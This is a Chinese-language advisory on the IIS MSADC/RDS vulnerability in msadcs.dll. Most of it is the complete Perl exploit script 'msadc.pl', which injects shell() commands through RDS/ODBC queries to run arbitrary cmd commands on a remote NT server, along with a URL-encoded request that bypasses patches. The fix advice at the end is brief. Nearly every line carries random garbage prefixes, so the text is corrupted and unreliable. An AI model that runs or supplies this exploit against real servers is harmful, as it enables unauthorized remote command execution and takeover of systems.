IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
\ECu5L4 &fwS{n;U 涉及程序:
]5'
d&f Microsoft NT server
-Fxmsi =bLY
/ 描述:
`S3>3 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
N>|XS
, (u hd "
详细:
<P_ea/5:| 如果你没有时间读详细内容的话,就删除:
~=En+J}* c:\Program Files\Common Files\System\Msadc\msadcs.dll
bl;zR 有关的安全问题就没有了。
/*$hx @ih fuUm}N7 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
ujr(K=E Y
ya`&V 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
A(8n 关于利用ODBC远程漏洞的描述,请参看:
JBC$Ku cK@jmGj+ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm xyA-P& N /6KIl 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
l>6@:nq|R http://www.microsoft.com/security/bulletins/MS99-025faq.asp x[(?# ,+`HQdq 这里不再论述。
`y^sITr H={&3poBz 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
;apzAF ?kTWpXx"= /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
$s\UL}Gc 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
;@3FF e5?PkFV^a1 +9XQ[57 #将下面这段保存为txt文件,然后: "perl -x 文件名"
:7g=b%; QAPu<rdJP #!perl
g&Vcg` #
80pid[F # MSADC/RDS 'usage' (aka exploit) script
F'JY? #
R@iUCT^$ # by rain.forest.puppy
XL$* _c <) #
'zZcn" +! # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
$w#r"= ) # beta test and find errors!
mee$"Y l|/LQ/ use Socket; use Getopt::Std;
@+LfQY getopts("e:vd:h:XR", \%args);
|Ic`,>XM jS.g]k print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
\
%=9 &?,6~qm[ if (!defined $args{h} && !defined $args{R}) {
6KZf%)$ print qq~
ORN6vX(1 Usage: msadc.pl -h <host> { -d <delay> -X -v }
"LhvzM-<8 -h <host> = host you want to scan (ip or domain)
"O[j!fG8, -d <seconds> = delay between calls, default 1 second
*sw7niw -X = dump Index Server path table, if available
O#a6+W"U -v = verbose
(X[CsaXt -e = external dictionary file for step 5
&HW1mNF9 X2|Y Or a -R will resume a command session
3+Qxg+< en F :>H4 ~; exit;}
E.`U`L qZv
= $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
9BEFr/. if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
'8 Ztj if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Ih}1%Jq if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
p d[ncL $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
+pm[f["C. if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
I6!5Yj]O" 8eBOr9l+j if (!defined $args{R}){ $ret = &has_msadc;
V/d/L3p die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
}x0- V8 }n_p$g[Nj/ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
;Q;[*B=kE . "cmd /c ";
wC_l@7t $in=<STDIN>; chomp $in;
epHJ@ W@# $command="cmd /c " . $in ;
nlYR-.
+=q) if (defined $args{R}) {&load; exit;}
~[WF_NU1y b2,mCfLsv print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
?>c=}I#Ui- &try_btcustmr;
>LC<O. xo}b=
v print "\nStep 2: Trying to make our own DSN...";
2&PPz}Sw &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
iD38\XNMV LQ11ba print "\nStep 3: Trying known DSNs...";
J5p"7bc &known_dsn;
[#Lc]$ #1 1NPo9 print "\nStep 4: Trying known .mdbs...";
eN?Y7 &known_mdb;
TL$EV>Nr 7hW+T7u? if (defined $args{e}){
._w8J"E5 print "\nStep 5: Trying dictionary of DSN names...";
=L|tp%! &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
J_;N:7'p w%AcG~`j!B print "Sorry Charley...maybe next time?\n";
/M;#_+VK< exit;
aI(7nJ=R u%/fx~t$ ##############################################################################
H=*5ASc i,A#&YDl sub sendraw { # ripped and modded from whisker
4/ kv3rv sleep($delay); # it's a DoS on the server! At least on mine...
`1*nL,i my ($pstr)=@_;
u]NZ`t%AP socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
=*qD4qYA die("Socket problems\n");
{rfF'@[ if(connect(S,pack "SnA4x8",2,80,$target)){
DS-0gVYeDW select(S); $|=1;
Ho DVn/lr print $pstr; my @in=<S>;
u]
:m"LM select(STDOUT); close(S);
GZS1zTwBL return @in;
@vL20O. } else { die("Can't connect...\n"); }}
H1GRMDNXOA Jj~EiA ##############################################################################
X"gCRn%tn A[IL
H_w sub make_header { # make the HTTP request
'{I_\~* my $msadc=<<EOT
=deMd`=J POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
TD[EQ User-Agent: ACTIVEDATA
YjF|XPv+ l Host: $ip
^,l_{ Content-Length: $clen
?Xdak|?i Connection: Keep-Alive
)VL96 did !Fo*e ADCClientVersion:01.06
NNhL*C[_7 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Xs&TJ8a Pq*s{ --!ADM!ROX!YOUR!WORLD!
V.ht,
~l Content-Type: application/x-varg
Zwcy4>8 Content-Length: $reqlen
>Vy>O&r }i{sg# EOT
<FMq>d$\ ; $msadc=~s/\n/\r\n/g;
[b{CkX06 return $msadc;}
aQ^umrj@?9 b" xmqWa ##############################################################################
CT0l!J~5m~ 7Dnp'*H sub make_req { # make the RDS request
l`kWz5[~ my ($switch, $p1, $p2)=@_;
kGpa\c
g1 my $req=""; my $t1, $t2, $query, $dsn;
/bj
<Ft\ )X4K2~k* if ($switch==1){ # this is the btcustmr.mdb query
u2oKH{/z $query="Select * from Customers where City=" . make_shell();
ikWtC]y $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
:m86
hBE. $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
D=:04V}2+ yC
77c= elsif ($switch==2){ # this is general make table query
UnVm1ZWZ $query="create table AZZ (B int, C varchar(10))";
.@
xF6UZ $dsn="$p1";}
+("7ZK? 4Mk-2 Dx elsif ($switch==3){ # this is general exploit table query
gaA<}Tp, $query="select * from AZZ where C=" . make_shell();
s9dO,FMs0t $dsn="$p1";}
`1{N=!U(& vvUSeG\n#j elsif ($switch==4){ # attempt to hork file info from index server
E_KCNn-f $query="select path from scope()";
UAR5^ $dsn="Provider=MSIDXS;";}
ycFio , e8YMX&0% elsif ($switch==5){ # bad query
m<L; $query="select";
6wco&7 $dsn="$p1";}
988]}{w ]Jh+'RK\# $t1= make_unicode($query);
1ygpp0IGJ $t2= make_unicode($dsn);
QwhRNnE= $req = "\x02\x00\x03\x00";
PoEqurH0 $req.= "\x08\x00" . pack ("S1", length($t1));
.2J
L$" $req.= "\x00\x00" . $t1 ;
VMoSLFp^R $req.= "\x08\x00" . pack ("S1", length($t2));
e><5Pr) $req.= "\x00\x00" . $t2 ;
7~#:>OjW $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
E\gim<] return $req;}
pJN$ { 0$7.g!h? ##############################################################################
VqL.iZ- +[SgO}sF sub make_shell { # this makes the shell() statement
XeBP`\>Ve return "'|shell(\"$command\")|'";}
.>z][2oz eIl]oC7* ##############################################################################
uKgZ$-' XZw6Xtn sub make_unicode { # quick little function to convert to unicode
4&/j|9=X my ($in)=@_; my $out;
]|<w\\^A for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
d #jK=:eK return $out;}
Z|RY2P>E Xf)|Pu ##############################################################################
iH^z:%dP -,K! sub rdo_success { # checks for RDO return success (this is kludge)
&3J@BMYp my (@in) = @_; my $base=content_start(@in);
drsB/ if($in[$base]=~/multipart\/mixed/){
-W,}rcj*| return 1 if( $in[$base+10]=~/^\x09\x00/ );}
9&RFO$WH return 0;}
29XL$v], hzk6rYg1 ##############################################################################
nQ|r"|g r\nx= sub make_dsn { # this makes a DSN for us
0Z{j>=$ my @drives=("c","d","e","f");
npRSE v print "\nMaking DSN: ";
!n6wWl foreach $drive (@drives) {
/b|0PMX print "$drive: ";
s+:=I
e my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
fO#vF.k% "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
LJoGpr8 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
eAPXWWAZJ1 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
~
ihI_q" return 0 if $2 eq "404"; # not found/doesn't exist
dMR3)CO if($2 eq "200") {
h*ZC*eV> foreach $line (@results) {
#07g d#j4 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
3>
/K0N|$ } return 0;}
5q"ON)x DWdW, xG ##############################################################################
_)]CzBRq\6 !x'/9^i~v sub verify_exists {
|lv|!]qAma my ($page)=@_;
XD"_Iq! my @results=sendraw("GET $page HTTP/1.0\n\n");
d#2$!z# return $results[0];}
')GSAY7 'l,V*5L ##############################################################################
u^029sH6j d;n."+=[x sub try_btcustmr {
a~8[<F omj my @drives=("c","d","e","f");
a#T]*(Yq) my @dirs=("winnt","winnt35","winnt351","win","windows");
Nan[< d\|!Hg, foreach $dir (@dirs) {
%e&9. print "$dir -> "; # fun status so you can see progress
V]90 foreach $drive (@drives) {
v9T_& print "$drive: "; # ditto
v@# b}N0n $reqlen=length( make_req(1,$drive,$dir) ) - 28;
[@4rjGwB $reqlenlen=length( "$reqlen" );
HYmn:?H $clen= 206 + $reqlenlen + $reqlen;
s`>[F@N7.o [5Lz/ix= my @results=sendraw(make_header() . make_req(1,$drive,$dir));
pKi& [ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
iX3HtIBj' else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
1yqJwy;X +VQ\mA59 ##############################################################################
^_lzZOhG |F#1C9]P sub odbc_error {
;NlWb = my (@in)=@_; my $base;
Ie%EH my $base = content_start(@in);
D-N8<:cA if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
s=42uKz $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Hty0qr3 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
41SGWAd#: $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
? R>h ` return $in[$base+4].$in[$base+5].$in[$base+6];}
10H)^p%3+ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
<oz!H[! print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
zRPeNdX $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
vB+ ' .CFa9"< ##############################################################################
Ao/ jt< "?mJqA sub verbose {
2U-3Q]/I} my ($in)=@_;
[LRLJ_~g5 return if !$verbose;
M`S0u~#tI print STDOUT "\n$in\n";}
'}Ri` eilYA_FL. ##############################################################################
n[(Qr9 +>4;Z d!@d sub save {
} CfqG?) my ($p1, $p2, $p3, $p4)=@_;
f|sFlUu& open(OUT, ">rds.save") || print "Problem saving parameters...\n";
<I"S#M7-s print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
6S~sVUL9` close OUT;}
V%Sy"IG EAeqLtFqs ##############################################################################
|<O9Sb_ h>Hb`G< sub load {
-1J[n0O. my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
+ T8B: open(IN,"<rds.save") || die("Couldn't open rds.save\n");
)Y)pmjZaG @p=<IN>; close(IN);
xpOg8u5 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
+k`!QM>e- $target= inet_aton($ip) || die("inet_aton problems");
+E1h#cc) print "Resuming to $ip ...";
: "1XPr $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
+o9":dl if($p[1]==1) {
: >>@rF , $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
-+O
9<3ly $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
`:axzCrCfR my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
NB<A>baL* if (rdo_success(@results)){print "Success!\n";}
2+X\}s1vN else { print "failed\n"; verbose(odbc_error(@results));}}
'e6WDC1Am( elsif ($p[1]==3){
GQ
|Mr{.; if(run_query("$p[3]")){
JY6
Qp print "Success!\n";} else { print "failed\n"; }}
XU"~h64] elsif ($p[1]==4){
$1v&azM. if(run_query($drvst . "$p[3]")){
J(6oL print "Success!\n"; } else { print "failed\n"; }}
L5,NP5RC exit;}
P@FHnh3}Z$ -{ZWo:,r~q ##############################################################################
0tU.( 4^URX>nx8 sub create_table {
QVtQx>K` my ($in)=@_;
9V5-%Iv $reqlen=length( make_req(2,$in,"") ) - 28;
ooQQ-?"m $reqlenlen=length( "$reqlen" );
NC38fiH_N $clen= 206 + $reqlenlen + $reqlen;
0'IBN} my @results=sendraw(make_header() . make_req(2,$in,""));
73){K?R return 1 if rdo_success(@results);
v;)..X30 my $temp= odbc_error(@results); verbose($temp);
@9"J|} return 1 if $temp=~/Table 'AZZ' already exists/;
O?|gp<=d return 0;}
f!JS= N?3 Qubp9C#r ##############################################################################
=kuMWaD QqU!Najf sub known_dsn {
[KxF'm z9 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
C9t4#" my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
7a~X:# "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
SCz318n "banner", "banners", "ads", "ADCDemo", "ADCTest");
%Z1N;g0 _F`lq_C foreach $dSn (@dsns) {
bcYF\@}; print ".";
[ 1u-Q%?# next if (!is_access("DSN=$dSn"));
Gn&4V}F if(create_table("DSN=$dSn")){
!@v7Zu43, print "$dSn successful\n";
p3^m9J if(run_query("DSN=$dSn")){
ynrT a.. print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
}+sT4'Ah> print "Something's borked. Use verbose next time\n";}}} print "\n";}
Er{>p|n= yNTK . ##############################################################################
<%"b9T`' hq #?kN sub is_access {
\o^2y.q:> my ($in)=@_;
G
nG>7f[v $reqlen=length( make_req(5,$in,"") ) - 28;
LSRk7'0 $reqlenlen=length( "$reqlen" );
q7E~+p(>( $clen= 206 + $reqlenlen + $reqlen;
Z+=@<i'' my @results=sendraw(make_header() . make_req(5,$in,""));
5@BBoeG my $temp= odbc_error(@results);
{lc\,F* $ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
hzvd t return 0;}
q*>&^V $M RVQh2'w ##############################################################################
J_4!2v!6e [D4Es sub run_query {
>j QWn@ my ($in)=@_;
Dg?:/=,=9r $reqlen=length( make_req(3,$in,"") ) - 28;
v'3J.?N $reqlenlen=length( "$reqlen" );
v%iflCK $clen= 206 + $reqlenlen + $reqlen;
\:UIc*S my @results=sendraw(make_header() . make_req(3,$in,""));
~W-PD return 1 if rdo_success(@results);
Uw7h=UQh my $temp= odbc_error(@results); verbose($temp);
>o=-$gz` return 0;}
#}y2)g Sb82}$sO ##############################################################################
{.INnFGP@) ;N?]eM}yf sub known_mdb {
<Pi|J-Y my @drives=("c","d","e","f","g");
_+E5T*dk my @dirs=("winnt","winnt35","winnt351","win","windows");
Ug<#en my $dir, $drive, $mdb;
V]db'qB\ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
VB*oGG 2V#>)R#k # this is sparse, because I don't know of many
6l:qD` _ my @sysmdbs=( "\\catroot\\icatalog.mdb",
Ob<{G" "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
XY3v_5~/1F "\\system32\\certmdb.mdb",
ZNvEW "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
fd.^h*'mU ]%u@TK7 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
$[a8$VY^Cm "\\cfusion\\cfapps\\forums\\forums_.mdb",
0a XPPnuX "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
]Yn_}Bq "\\cfusion\\cfapps\\security\\realm_.mdb",
SR|`! "\\cfusion\\cfapps\\security\\data\\realm.mdb",
UWo]s. "\\cfusion\\database\\cfexamples.mdb",
pz.JWCU1 "\\cfusion\\database\\cfsnippets.mdb",
XLrwxj0 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
}*S `qW;B "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
$arK( "\\cfusion\\brighttiger\\database\\cleam.mdb",
YF>m$?; "\\cfusion\\database\\smpolicy.mdb",
#6HA\dE "\\cfusion\\database\cypress.mdb",
t,+nQ9 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
)u`[6,d "\\website\\cgi-win\\dbsample.mdb",
85Otss/mM "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
y1+*6| "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
z?*w8kU&> ); #these are just
N@Uy=?)ZJ foreach $drive (@drives) {
LAS'u"c| foreach $dir (@dirs){
IHv[v*4: foreach $mdb (@sysmdbs) {
9^#c|
0T print ".";
7%|~>
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
6"&6`f print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Oagsoik if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
c2'Lfgx4 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
&keR~~/ } else { print "Something's borked. Use verbose next time\n"; }}}}}
eEv@}1~ `ux{;4q foreach $drive (@drives) {
I7n"&{s"* foreach $mdb (@mdbs) {
(<xfCH
F5 print ".";
EWkLXU6t if(create_table($drv . $drive . $dir . $mdb)){
[QoK5Yw{ print "\n" . $drive . $dir . $mdb . " successful\n";
Ni-xx9)= if(run_query($drv . $drive . $dir . $mdb)){
9\BT0kx print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
[`"ZjkR_J } else { print "Something's borked. Use verbose next time\n"; }}}}
.ufTQ?Fe }
zv\kPfGDK AW!?"xdZ ##############################################################################
n%.7h3 TU,s*D&e sub hork_idx {
m!tbkZHQn0 print "\nAttempting to dump Index Server tables...\n";
m4hg'<<V print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
7>))D'l57 $reqlen=length( make_req(4,"","") ) - 28;
b)qoh^ $reqlenlen=length( "$reqlen" );
Ch|jtVeuyJ $clen= 206 + $reqlenlen + $reqlen;
&-Gqdnc my @results=sendraw2(make_header() . make_req(4,"",""));
Pama#6?OPh if (rdo_success(@results)){
qGB{7-r u my $max=@results; my $c; my %d;
iW%I|& for($c=19; $c<$max; $c++){
Kzm+GW3o[ $results[$c]=~s/\x00//g;
AicBSqUke $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
3yU.& k $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
bU2Z[sn. $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
][+#;avU $d{"$1$2"}="";}
5A3xVN= foreach $c (keys %d){ print "$c\n"; }
v,-HU&/*B } else {print "Index server doesn't seem to be installed.\n"; }}
RL@VSHXc i%#+\F.& ##############################################################################
SwTL|+u kwo3`b sub dsn_dict {
:~tAUy":_* open(IN, "<$args{e}") || die("Can't open external dictionary\n");
#FCnA while(<IN>){
Ybs\ES'?A $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
>_-s8t=| next if (!is_access("DSN=$dSn"));
zuJ@E=7 if(create_table("DSN=$dSn")){
t\k$};qJ print "$dSn successful\n";
@ hiCI.?X if(run_query("DSN=$dSn")){
/'l{E print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
`(ue63AZ print "Something's borked. Use verbose next time\n";}}}
~obqG!2m print "\n"; close(IN);}
4U+xb> 7vrl'^ 1 ##############################################################################
|Mup8(gCk [B#R94 sub sendraw2 { # ripped and modded from whisker
;o2$
Q sleep($delay); # it's a DoS on the server! At least on mine...
m.#
VYN`+A my ($pstr)=@_;
bYpntV socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
t^R][Ay& die("Socket problems\n");
bnq;)>& if(connect(S,pack "SnA4x8",2,80,$target)){
2Mc3|T4)U print "Connected. Getting data";
ODNM+#}` open(OUT,">raw.out"); my @in;
pN:Kdi select(S); $|=1; print $pstr;
bpJ(XN}E while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
;g5m0l5 close(OUT); select(STDOUT); close(S); return @in;
c[wla<dO* } else { die("Can't connect...\n"); }}
Tc> 6}[I2F_^ ##############################################################################
:cem,#(= cu7hBfj sub content_start { # this will take in the server headers
AN8`7F1 my (@in)=@_; my $c;
|:nOp(A\* for ($c=1;$c<500;$c++) {
m? J0i>H
if($in[$c] =~/^\x0d\x0a/){
V@e?#iz if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
LrM=*Rh,O else { return $c+1; }}}
DCIxRPw return -1;} # it should never get here actually
(C-{B[Y r3&G)g=u ##############################################################################
y&q*maa[ Fq~yL!#! sub funky {
,Ys %:>? my (@in)=@_; my $error=odbc_error(@in);
ZRh~`yy if($error=~/ADO could not find the specified provider/){
eL10Q(;P` print "\nServer returned an ADO miscofiguration message\nAborting.\n";
3G,Oba[$< exit;}
[YF>:ydk if($error=~/A Handler is required/){
nBjqTud
print "\nServer has custom handler filters (they most likely are patched)\n";
[R(`W#W exit;}
Y!~49<; if($error=~/specified Handler has denied Access/){
$+8cc\fq print "\nServer has custom handler filters (they most likely are patched)\n";
Pk{_(ybaY exit;}}
bv]`!g:
C LSa,1{ ##############################################################################
p4.wh|n Se:.4< sub has_msadc {
2,$8icM my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Cc+t}"^ my $base=content_start(@results);
"bFTk/ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
&gVN& return 0;}
we~[ ]
\
:q$.,EZ4#n ########################
0%9 q8M; zT=Ho
lGPUIoUo 解决方案:
Bn=by{i 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
8'r2D+Vwm 2、移除web 目录: /msadc